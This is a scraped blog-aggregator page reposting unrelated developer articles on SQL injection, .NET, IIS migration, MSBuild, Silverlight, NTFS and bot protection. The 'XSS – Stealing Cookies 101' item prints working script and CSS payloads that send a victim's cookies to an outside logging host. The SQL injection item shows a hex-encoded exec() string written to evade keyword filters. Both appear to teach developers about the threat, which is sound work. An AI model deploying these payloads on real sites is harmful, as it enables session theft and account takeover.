https://homebank.sactocu.org/UA2004/faq-mfa.htm#pp6

To protect yourself from SQL Injection you have to do 1 simple thing.

Do not build your SQL statements by concatenating values passed by the user into a string an executing them.

If your query has to be dynamic then make sure any values passed by a user are passed as parameters and use sp_executesql in TSQL or a SqlCommand object in ADO.Net

An example of why the nonsense this back is spouting is the follows

declare

@s char(99);set @s=0x7072696E7420276E756D707469657320497665207363726577656420796F7572207365727665722720;exec(@s)
This is a single line of code that is < 140 characters doesn’t contain the word drop, delete or anything like that. Run it and see what you get (trust me it is safe)

Read more: Simons SQL Blog

Posted via email from jasper22's posterous

Facebook founder called trusting users dumb f*cks

|
Loveable Facebook founder Mark Zuckerberg called his first few thousand users "dumb fucks" for trusting him with their data, published IM transcripts show. Facebook hasn't disputed the authenticity of the transcript.

Zuckerberg was chatting with an unnamed friend, apparently in early 2004. Business Insider, which has a series of quite juicy anecdotes about Facebook's early days, takes the credit for this one.

The exchange apparently ran like this:

Zuck: Yeah so if you ever need info about anyone at Harvard

Zuck: Just ask.

Zuck: I have over 4,000 emails, pictures, addresses, SNS

[Redacted Friend's Name]: What? How'd you manage that one?

Zuck: People just submitted it.

Zuck: I don't know why.

Zuck: They "trust me"

Zuck: Dumb fucks

The founder was then 19, and he may have been joking. But humour tells you a lot. Some might say that this exchange shows Zuckerberg was not particularly aware of the trust issue in all its depth and complexity.

Facebook is currently in the spotlight for its relentlessly increasing exposure of data its users assumed was private. This is nicely illustrated in the interactive graphic you can find here or by clicking the piccie to the right.

Read more: The Register

Posted via email from jasper22's posterous

Loading an assembly using Reflection and invoking static methods from it

|
In this article, I will show how to load an assembly at runtime using Reflection and to invoke static methods from it.

Background

Reflection is Microsoft's extra-ordinary feature. Before we begin, we must know some very important concepts about assemblies. Assemblies are the building blocks of .NET Framework. An assembly is a collection of types and resources that are built to work together, and form a logical unit of functionality.

An assembly contains modules, modules contain types, and types contain members. Using Reflection, we can create an instance of a type, can invoke a type's methods, or access its fields and properties. For this tutorial, the above statement is enough. For a detailed information, click here.

Using the code

This tutorial consists of two projects:

Utllity (the Class Library)
LoadAssembly (application that will load Utility using Reflection)
The Utility Class Library consists of two methods:

Encrypt (takes a string as input and returns the encrypted string as output)
Decrypt (takes an encrypted string as input and returns the original string)
I will not discuss the utility code as it is not needed to.

Read more: Codeproject

Posted via email from jasper22's posterous

Automating Merges w/ TortoiseSVN

|
Our team works off the feature branch concept and because of this the various teams need to do a source-to-branch merge on a consistent interval.  Doing this process is not difficult, but it is reparative and could become error prone if you are not paying attention.  Because of this we have created a simple .bat script which will aid in automating most of the repetitive tasks which should reduce the amount of errors we encounter.

The script (this is v1 of the script so there may be improvements we could make) is as follows:

CLS
ECHO OFF

REM -- These values may need to change, but not all that often
SET TortoiseSvnLocation="C:\Program Files\TortoiseSVN\bin\TortoiseProc.exe"

REM -- Make sure to change these values
SET /p TrunkHead=Please Enter the latest revision for the Trunk (should be HEAD):
SET /p BranchHead=Please Enter the latest revision for the Branch (should be HEAD):
SET /p TrunkStartRevision=Please Enter the Start Revision:
SET /p TrunkEndRevision=Please Enter the End Revision:

REM -- Make sure you have the physical locations correct
SET TrunkLocationOnDisk="C:\Source\Trunk"
SET BranchLocationOnDisk="C:\Source\\Branch"

REM -- Make sure you have the Url's pointing to the correct location on disk
SET TrunkUrl=https://URL_TO_ROOT_SOURCE
SET BranchUrl=https:/URL_TO_BRANCH_SOURCE

ECHO Chaning To Trunk Location
CD %TrunkLocationOnDisk%

ECHO /* About to update the trunk to the %TrunkHead% */
%TortoiseSvnLocation% /command:update /rev:%TrunkHead% /path:%TrunkLocationOnDisk% /closeonend:1

Read more: Derik Whittaker

Posted via email from jasper22's posterous

HTML5 Quick Learning Guide

|
There are lots of great resources for getting comprehensive information on HTML5, so instead of creating another one of those, I decided instead to create a short “quick learning guide”. This guide introduces you to just the main elements of HTML5 that you’ll probably want to use right away. This guide is for those who want to get the basics figured out first, and worry about the finer details later on.

Read more: HTML5Templates

Posted via email from jasper22's posterous

A guide to .vcxproj and .props file structure

|
If you inspect the contents of a .vcxproj file (the new VC++ project file format in VS2010) in notepad or in VS editor (by first unloading the project and then choosing "Edit Foo.vcxproj" from the context menu in Solution Explorer), you will see that the various top-level MSBuild elements are laid out in a particular order. Go ahead and open a .vcxproj file right now. Notice, e.g., that most of the property groups and item definition groups occur after the import for Microsoft.Cpp.Default.props. Also, all targets are imported at the end of the project file. Then there are multiple property groups - distinguished by Labels on them – and they occur in a particular order.

What is the purpose of this ordered layout? Why are there multiple property groups (import groups, etc.) instead of only one? Well, read on.

The concept of an ordered layout is a natural outcome of MSBuild’s sequential evaluation model.  If your project file consists of two definitions of a property, such as below, the last definition overrides the preceding ones. So, the value “xyz” will be used during build time.

<MyProperty>abc</MyProperty>
<MyProperty>xyz</MyProperty>

The first property definition need not necessarily be in the project file itself. You could have included it via some import that is imported before the second definition of the property. What I say about properties here is also true about item definition metadata (in general, this holds true for the entire article).

Having said that, let me now show you the layout. The following skeletal (but legal) MSBuild file captures the layout succinctly. Any .vcxproj file generated by VS will contain these top-level MSBuild elements and in this particular order (although they may contain multiple copies of each such top-level element). Note that Labels are arbitrary tags only read and written by Visual Studio and used as signposts for editing; they have no other function.

<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns='http://schemas.microsoft.com/developer/msbuild/2003' >
 <ItemGroup Label="ProjectConfigurations" />
 <PropertyGroup Label="Globals" />
 <Import Project="$(VCTargetsPath)\Microsoft.Cpp.default.props" />
 <PropertyGroup Label="Configuration" />
 <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 <ImportGroup Label="ExtensionSettings" />
 <ImportGroup Label="PropertySheets" />
 <PropertyGroup Label="UserMacros" />
 <PropertyGroup />
 <ItemDefinitionGroup />
 <ItemGroup />
 <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
 <ImportGroup Label="ExtensionTargets" />
</Project>

Let me explain what each of these elements are and why they are ordered this way.

Read more:  The Visual Studio blog

Posted via email from jasper22's posterous

High Priority Threads can extend Server GC Latencies

|
Recently, I have done a perf investigation that revealed interesting interactions between high priority threads and Server GC mode

In this post, I will explain the problem. During the next couple posts I will walk you thought how I carried the investigation, what tools I used, and how you can leverage these tools for similar investigations.

The problem

Before going into the problem details, I want to highlight some key characteristics about Server GC mode.

ServerGC mode is designed with scalability in mind.  In this mode, the CLR tries to take advantage of every CPU available to your process.  The CLR creates a dedicated, hard affintized GC thread for each available logical CPU

Hard affinity is achieved through the SetThreadAffinityMask API.  The reason GC threads are hard affinitaized is to avoid thread migration between cores, which could be very expensive on multi-core machines.  Avoiding thread migration enhances the throughput of the Server GC.

In ServerGC mode, all GC threads work in parallel during the GC activity to collect the GC heap, however as many parallel algorithms, sometimes there is a need to join all the threads at some safe points to synchronize some state.

If one or more threads don’t reach the safe point for some reason, the other GC threads will wait for them.  All the managed threads in the process are suspended waiting for the GC to finish during this time.

Recently, I investigated a customer scenario where a GC thread was holding the rest of GC threads at a safe point. The issue was that one of the GC thread was taking much longer (3-5 seconds) than the other threads to reach the safe point and join with other GC threads. This affected the overall application throughput, and increased the per-request latency.  Latency is a VERY important factor for server applications and it was critical to address this problem.

The challenge was to find out what was preventing this thread from joining the other GC threads.

It turned out that a real-time priority thread - sharing the same logical CPU with the affected GC thread - was running for an extended period of time, preventing the GC thread from getting scheduled.

Luckily enough, the real-time priority thread was created from one of the customer’s components, so the customer had control to eliminate the need for this thread.

Setting the high-priority thread back to normal priority allowed the GC thread to get scheduled promptly, eliminating the long latency per request.

The overall latency introduced by GC dropped from 3-5 seconds, to few hundred milliseconds.

Read more: CLR and Framework Perf Blog

Posted via email from jasper22's posterous

Visual Studio 2010: How to extend the architecture tools

|
RightClickForExtension_thumb.jpg

    During Visual Studio 2010 planning, the Visual Studio team suffered the same thing that every development team suffers during planning: they had a ton of features they wanted to add and only so much time.  When it became obvious that they had to cut features, they decided to invest in an extensible infrastructure so they could deliver more features out of band.  This extensibility also allows end users to tweak the product.  To implement this, they utilized the Managed Extensibility Framework (MEF) throughout their architecture.

Now, Microsoft has a significant service agreement; we service products for 10 years after their release.  The only way that we can do this is if the bits are well-controlled.  Therefore, a developer can’t throw zip files on their blog to change existing code...it would become unmanageable.  So when new features are added out of band (like power tools and feature packs…more on that below), they have to be purely additive releases where they can’t change existing bits.

There are two main things that I want to cover regarding extensibility: how to extend the architecture tools and an upcoming feature pack release that is possible due to the extensible infrastructure.  

Create a New Extension for the Architecture Tools

To build Visual Studio extensions and extend the architecture functionality, you will need to download the Visual Studio 2010 SDK and the Visual Studio 2010 Visualization and Modeling SDK (this is the rename of the DSL Toolkit).

In Visual Studio 2010, go to the “File” menu item, then select “New” and “Project”.  In the left-hand sidebar of templates, expand “Modeling Projects” and click “Extensibility”.  You should see three extensions available:

Command Extension
Gesture Extension
Model Validation Extension
These are templates for creating MEF-based extensions for the Visual Studio UML Designers.  NOTE: these options will only be available after you’ve downloaded the two SDKs above.

Read more: Jennifer Marsman

Posted via email from jasper22's posterous

Migrating IIS7 from System Drive to a Non-System Drive

|
As most of you know, IIS is by default installed on C$ in Windows Server 2008 and there is no way to install it on any other drives. The only solution is to migrate it to a different drive is post installation.

Recently i had a situation where the IIS was installed on C$ of a fully functional web server. During the server security review, we had to migrate it to a non-system drive (D$ in our case). It is a security best practice to have the IIS installed on a non-system drive. As the server was in production and we could not afford much downtime on the server, we had to figure out a way to migrate IIS from C$ to D$ with minimal impact and least downtime.

The APPCMD of the Windows Server 2008 is a fantastic utility which helps this migration without much hassles. Migrating IIS from C$ to D$ will include some data migration, log migration, registry key modifications etc.. Writing a batch file to automate this entire migration was the best possible solution and guess what, we found the same from one of the IIS blogs which works like magic:

REM-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

REM PLEASE BE AWARE: SERVICING (I.E. HOTFIXES AND SERVICE PACKS) WILL STILL REPLACE FILES
REM IN THE ORIGINAL DIRECTORIES. THE LIKELIHOOD THAT FILES IN THE INETPUB DIRECTORIES HAVE
REM TO BE REPLACED BY SERVICING IS LOW BUT FOR THIS REASON DELETING THE ORIGINAL DIRECTORIES
REM IS NOT POSSIBLE.

@echo off
IF "%1" == "" goto err
setlocal
set MOVETO=%1:\

REM simple error handling if drive does not exist or argument is wrong
IF NOT EXIST %MOVETO% goto err

REM Backup IIS config before we start changing config to point to the new path
%windir%\system32\inetsrv\appcmd add backup beforeRootMove


REM Stop all IIS services
iisreset /stop

REM Copy all content
REM /O - copy ACLs
REM /E - copy sub directories including empty ones
REM /I - assume destination is a directory
REM /Q - quiet

REM echo on, because user will be prompted if content already exists.
echo on
xcopy %systemdrive%\inetpub %MOVETO%inetpub /O /E /I /Q
@echo off
REM Move AppPool isolation directory
reg add HKLM\System\CurrentControlSet\Services\WAS\Parameters /v ConfigIsolationPath /t REG_SZ /d %MOVETO%inetpub\temp\appPools /f

REM Move logfile directories
%windir%\system32\inetsrv\appcmd set config -section:system.applicationHost/sites -siteDefaults.traceFailedRequestsLogging.directory:"%MOVETO%inetpub\logs\FailedReqLogFiles"
%windir%\system32\inetsrv\appcmd set config -section:system.applicationHost/sites -siteDefaults.logfile.directory:"%MOVETO%inetpub\logs\logfiles"
%windir%\system32\inetsrv\appcmd set config -section:system.applicationHost/log -centralBinaryLogFile.directory:"%MOVETO%inetpub\logs\logfiles"
%windir%\system32\inetsrv\appcmd set config -section:system.applicationHost/log -centralW3CLogFile.directory:"%MOVETO%inetpub\logs\logfiles"
(more...)

Read more: My Experiences

Posted via email from jasper22's posterous

Protect Your Network From Bots

|
One of cybercriminals' favorite ways to carry out criminal activities is through botnets. They use spam, phishing attacks, or malicious websites to infect computers, turning them into "bots" or "zombies" that can be remotely controlled. Under cybercriminals' command, these bots generate a healthy revenue stream for their owners, targeting and stealing from businesses. As technology improves and becomes more accessible, bots are becoming the tool of choice for crime.

A Trend Micro study found that of 100 million compromised computers, approximately 25 percent belonged to businesses. It's good business for cybercriminals, but bad for small businesses.

It's hard to know if your computer has been taken hostage to a bot. I always advise customers to immediately contact a security expert to fully assess the situation and then take action to clean and remove the bots. But if you're a small business owner, your first instinct is probably to protect your data, even before you call in the experts. Here are some initial steps to take:

First: Disconnect the suspected infected computer from the network. This will stop sensitive information from being stolen, prevent other computers from becoming infected, and will prevent your computer from being used in attacks on other businesses.

Second: Move sensitive data and information from the infected machine to a clean computer or external hard drive.

Third: Clean the infected computer either using free tools available (requires hooking computer back up to internet connection) or by working with a professional.

Prevention is always better than a cure, and this is the same with regard to bots. Help prevent your business's computers from infection in the first place by following these quick tips.

Ensure your antivirus is updated. It's a no-brainer, but computers are still being infected. Computers without the latest updates are not protecting your systems. However, updating can be tricky too, because security vendors need to be able to keep up with the latest threats without grinding their systems to a halt. It's important to find out how it's done, because if your PC becomes slow to a point where it impacts productivity due to the number of the updates, then you're just swapping one problem for another.
Harden your Windows. Make sure your Microsoft Windows and main programs (Office, Adobe products) have the latest patches. Vulnerabilities in the operating system and other key programs provide easy access for the bad guys to compromise your systems. Cybercriminals are very familiar with these vulnerabilities and know how to exploit them.

Read more: Entrepreneur

Posted via email from jasper22's posterous

Silverlight - Connecting to remote database - WCF

|
This tutorial will show how connect to a server database from a Silverlight application. I will be using Visual Studio 2010 and Silverlight 4. So first, we will create a Silverlight 4 application..

Next, we are just going to put a DataGrid on our MainPage.xaml. I have given the XAML so it can be copied and pasted.

<UserControl x:Class="SilverlightWCFTutorial.MainPage"
   xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
   xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
   xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
   xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
   mc:Ignorable="d"
   d:DesignHeight="300" d:DesignWidth="400" xmlns:sdk="http://schemas.microsoft.com/winfx/2006/xaml/presentation/sdk">

   <Grid x:Name="LayoutRoot" Background="White">
       <sdk:DataGrid
           Name="dataGridPerson"
           AutoGenerateColumns="True"
           Height="206"
           HorizontalAlignment="Left"
           Margin="12,44,0,0"  
           VerticalAlignment="Top"
           Width="376"
           ItemsSource="{Binding}">
       </sdk:DataGrid>
   </Grid>
</UserControl>

Read more: </dream-in-code>

Posted via email from jasper22's posterous

An NTFS Parser Lib

|
This is a library to help parsing an NTFS volume, as well as file records and attributes. The readers are assumed to have knowledges about NTFS and C++ programming.

I will not introduce NTFS concepts here as the introduction will be either a big animal or nothing at all. Search the best document about NTFS here.

Being an OS fan, I was shameful to have little knowledge about the file system. Every time I read an OS related book, I will be at a loss in the chapter "File System". The contents were either too concise for a deep understand or too tedious to keep reading. So I decided to write some short codes to find out what's going on in my hard disk. I picked NTFS as it's the file system in my box, and almost everyone says it's a good design, at least not a bad one.

At first it's quite painful as there were little documents available. Microsoft doesn't make its so called "New Technology File System" public. Only pieces of information can be found on the web. After studying the collected documents for some days, the cloud over my head scattered gradually. After some successful testing, I thought it was applicable to write a library to facilitate NTFS parsing, as well as to deepen my knowledge.

Windows NT tries to construct an object oriented operating system. At the very beginning, I hesitated in choosing whether C++ classes or traditional C procedures to fulfill the task. As an important part of OS, it should be efficient and compact, as well as scalability and manageability. The OS kernel must be written in C. But I'm writing a user land library and after studying NTFS data structures thoroughly and carefully, I decided to use C++ classes to encapsulate them.

NTFS is an advanced journaling file system which fits the needs from home PC to data server. I haven't implemented all of its functions. Following parts are the unsupported yet.
1) Journaling
2) Security
3) Encryption and compression
4) Some other advanced functions

Read more: Codeproject

Posted via email from jasper22's posterous

NEW! SQL Server Setup Portal

|
I know I shouldn’t be but when I talk to DBAs I’m amazed how much time is spent installing/configuring the product. Having worked on the SQL Setup team for the SQL Server 2005 release I have an appreciation of how complex setup is from both sides: internal development and the end user. We just launched a new site to help you plan, execute, and troubleshoot installations and upgrades. This is one of those sites you’ll want to bookmark for future reference.

Read more: Dan's Blog
Official site: SQL Setup

Posted via email from jasper22's posterous

Ethical Hacking ASP.NET

|
Security tools and guidelines for white-hat hacking and protecting ASP.NET web applications.

News

The v.1.0.0.1 version of Lens is available. Click on the Downloads tab to access or the Documentation tab to learn more about Lens.

Our mission

Just like any other web platform, ASP.NET is not free from features that can be misused in way that can have serious security related consequences. Developers should be aware of what exactly this platform provides in the world of security: when should one trust the runtime that it will gracefully handle an attack, and when should one write additional lines of code to protect the application against a certain threat.

The goal of this site is to provide information and tools to test your ASP.NET web application against well-known attacks and provide guidance about how to implement workarounds if your site happens to be vulnerable. These tools are for developers and ethical hackers; it is definitely against our will to help malicious activities.

Note, that we do NOT say we found any new security vulnerability in the ASP.NET platform that Microsoft is not aware of or tries to hide. All we say is that - just like many other platform - this platform is not bulletproof, and there are attacks out in the wild that can exploit not your code, but the platform your code runs on. Even if it is not your code, because your application builds on top of it, it is your task to patch these vulnerabilities. Hopefully we can help you to fulfil this task.

This site is dedicated to ASP.NET Ethical Hacking, but you can read more about security and various aspects of ethical hacking on our Haxperience site.

György Balássy
Microsoft Regional Director, Hungary, ASP.NET MVP, MCTS
MSDN Competence Center
Blog: http://balassy.spaces.live.com

Read more: Codeplex

Posted via email from jasper22's posterous

XSS – Stealing Cookies 101

|
Stealing cookies is easy. Never trust a client to be who you think it is. Just because it was trusted a few seconds ago, doesn't mean it will be in a few seconds, ESPECIALLY if a cookie is all you use to identify a client.

A recent LiveJournal hack has brought this to light again. Back when MySpace was hacked in October it reminded us that we must be vigilant in filtering text which users post because a hacker could smuggle in some javascript code to maliciously use the site from the browsers of authenticated users.

By stealing a users cookies as the LiveJournal hack did, you don't even have to cary out the attack in the users browser; you can do it elsewhere. Worst of all stealing cookies is EASY TO DO, and HARD TO PROTECT AGAINST.

Easy to do?

<script>
new Image(). src="http://jehiah.com/_sandbox/log.cgi?c=" +encodeURI(document.cookie);
</script>

That was it. If i can get that code on a site where you are authenticated, I can become you.
We can also use another method in IE. Execute the javascript in CSS.


<style>
.getcookies{background-image:url('javascript:new Image(). src="http://jehiah.com/_sandbox/log.cgi?c=" +encodeURI(document.cookie);');}
</style>
<p class="getcookies"></p>

Any time you let users post text and you don't religiously restrict the content, they can steal sessions. Scarry? If you are a developer it better scare the hell out of you.

Read more: Jehiah

Posted via email from jasper22's posterous

Invoking events without worrying about cross-thread exceptions

| Thursday, May 13, 2010
InvalidOperationException:"Cross-thread operation not valid: Control '<name>' accessed from a thread other than the thread it was created on."

This exception is something often seen by someone who needs work done on a background thread to leave the application UI responsive to users and maybe even allow the user to cancel the current opperation, while changing properties of controls on the UI from within the background opperation.

I will explain in this a solution in dealing with this particular problem, given a scenario in which the solution is appopriate, where I use extension methods to provide a general solution to the problem.

Background

It should be noted that when particular opperations need to be executed in the background, a the BackgroundWorker is by far the best way to accomplish this.

However, it is not always possible to use the background worker 'as is' and you could even have a need to write your own thread handling classes. This is where the following extension method comes in handy.

The problem

Consider the scenario in which you want to wrap a BackgroundWorker and provide an extra event that reports a status message of the work being done in the worker.

public class ThreadedCall
{

// The worker being wrapped by our class
private BackgroundWorker bw;

// Our new event that will be called whenever our class wants to report a status
public event StatusChangedEventHandler StatusChanged;

// The entry point of our class to start background opperation
public void Start()
{

bw = new BackgroundWorker();
bw.DoWork += new DoWorkEventHandler(bw_DoWork);
bw.RunWorkerAsync();
}

// The method that does the actual work, run inside our wrapped worker
void bw_DoWork(object sender, DoWorkEventArgs e)
{

// Report a status here
if (StatusChanged!= null) StatusChanged.Invoke(this,new StatusChangedEventArgs("Phase 1"));
Thread.Sleep(100);  // Do some work

// Report another status here
if (StatusChanged!= null) StatusChanged.Invoke(this,new StatusChangedEventArgs("Phase 2"));
}
}

Our event handler code:

// Delegate to eventhandler that takes a StatusChangedEventArgs as paramater
public delegate void StatusChangedEventHandler(object sender, StatusChangedEventArgs e);

public class StatusChangedEventArgs : EventArgs
{
private string status;

// The status property added to the eventargs used to supply status to the callee
public string Status
{
get { return status; }
set { status = value; }
}

public StatusChangedEventArgs(string status)
{
this.status = status;
}
}

Some code to test our class (The UI code):

private void button1_Click(object sender, EventArgs e)
{

// Instantiate and start or worker wrapper
ThreadedCall t = new ThreadedCall();
t.StatusChanged += new StatusChangedEventHandler(t_StatusChanged);
t.Start();
}

void t_StatusChanged(object sender, StatusChangedEventArgs e)
{
// The following line will raise an exception!
textBox1.Text = string.Format("Status: {0}", e.Status);
}


Read more: Codeproject

Posted via email from jasper22's posterous

Importing an Excel File into a Silverlight DataGrid in XML Format

|
Introduction

Microsoft Excel is a wonderful tool which allows you to capture and analyze all kind of data, but one of the great features of Excel, is its ability to do simple data entry, whether you are a programmer or not. What if you could click a button and have your Excel data displayed inside a grid in the browser? Then anyone could see your data, if they are on a Mac or PC, and they don't even need to own Excel to see it. This article will illustrate that moving Excel Documents into Silverlight is a snap if your Excel spreadsheet is saved in an XML file.

Saving your spreadsheet in XML

To save your Excel spreadsheet as XML, first open up your Excel spreadsheet and go to the file menu (the little round circle in the upper left hand corner with the logo in it). Click Save As and choose XML spreadsheet 2003 (*.xml). This is what you will see if you are using Office 2007. Choose the directory you want to save the spreadsheet and click the Save button.

Your xml file will have an XML representation of your spreadsheet as you might expect, with nodes containing workbook, worksheet, rows, and cells. You can see that all the data is contained within the cell structure much like the programmable Excel COM interface you might use to extract data from Excel.

Listing 1 - Excel Worksheet saved in XML

<Worksheet ss:Name="Sheet1">
 <Table ss:ExpandedColumnCount="4" ss:ExpandedRowCount="4" x:FullColumns="1"
  x:FullRows="1" ss:DefaultRowHeight="15">
  <Column ss:Width="74.25"/>
  <Column ss:Width="84.75"/>
  <Column ss:Index="4" ss:Width="130.5"/>
  <Row ss:AutoFitHeight="0">
   <Cell><Data ss:Type="String">Name</Data></Cell>
   <Cell><Data ss:Type="String">Address</Data></Cell>
   <Cell><Data ss:Type="String">State</Data></Cell>
   <Cell><Data ss:Type="String">How did you hear about us</Data></Cell>
  </Row>
  <Row ss:AutoFitHeight="0">
   <Cell><Data ss:Type="String">Mahesh Chand</Data></Cell>
   <Cell><Data ss:Type="String">40W Maple Drive</Data></Cell>
   <Cell><Data ss:Type="String">PA</Data></Cell>
   <Cell><Data ss:Type="String">Web</Data></Cell>
  </Row>
  <Row ss:AutoFitHeight="0">
   <Cell><Data ss:Type="String">Mike Gold</Data></Cell>
   <Cell><Data ss:Type="String">100 Lamar Drive</Data></Cell>
   <Cell><Data ss:Type="String">TX</Data></Cell>
   <Cell><Data ss:Type="String">Google Search</Data></Cell>
  </Row>

Read more: C# Corner

Posted via email from jasper22's posterous

Running WordPress on Windows Server

|
A few days ago, I saw someone posted on Twitter a question about running WordPress on Windows Server.  Since I had done this for a few sites, I responded with my thoughts and tips.  Another suggested that I post those here, and so here I go.

WordPress is a blogging/content-management platform that has been around for a while.  It has been gaining more in popularity for general purpose content sites over the past year I’d say, but is primarily seen as a blogging platform by most.  Even though I use Subtext for my platform, I have to admit that if I hadn’t already started using Subtext, it would be really hard to sway me away from WordPress.  It’s just the killer app for blogging.  Why?  Because of the immense ecosystem of people using it, there is pretty much a plethora of plugins, themes and tools for it.

WordPress is a PHP application and mostly used on Linux environments.  But guess what—PHP has been running on Windows for years.  In fact, our IIS team created a FastCGI implementation for IIS to make PHP applications even run better on Windows.  So here’s how I got started…

Install WordPress
First you obviously need to install the pieces.  I’m assuming here you have access to the actual server.  WordPress requires PHP, MySQL and the WordPress bits themselves.  You can certainly hunt around for those yourself, or you can use the Web Platform Installer from Microsoft and install WordPress on your box in about 15 minutes including download time.  No hunting for the right bits, no tinkering for the right configs.  Just install WebPI, select WordPress and go.  Honestly, this is the best way to get it started on Windows.

After installing you should be up and running with a starting site.  Login to complete the process.

Decide on your permalinks or ‘pretty/clean URLs’
Here’s the main issue with WordPress on Windows.  By default Windows 2003 is still using ISAPI filters to process requests.  What this means is that it needs something to trigger the subsystem it will use to render.  In this case it’s .php for the php files of WordPress – IIS then knows to use PHP to render the files/logic.

However because of this the default pattern of WordPress URLs on Windows 2003 will be <domain>/?page_id=12345.  For everything.  That isn’t very clean or friendly according to the SEO experts.

Read more: Method ~ of ~ failed

Posted via email from jasper22's posterous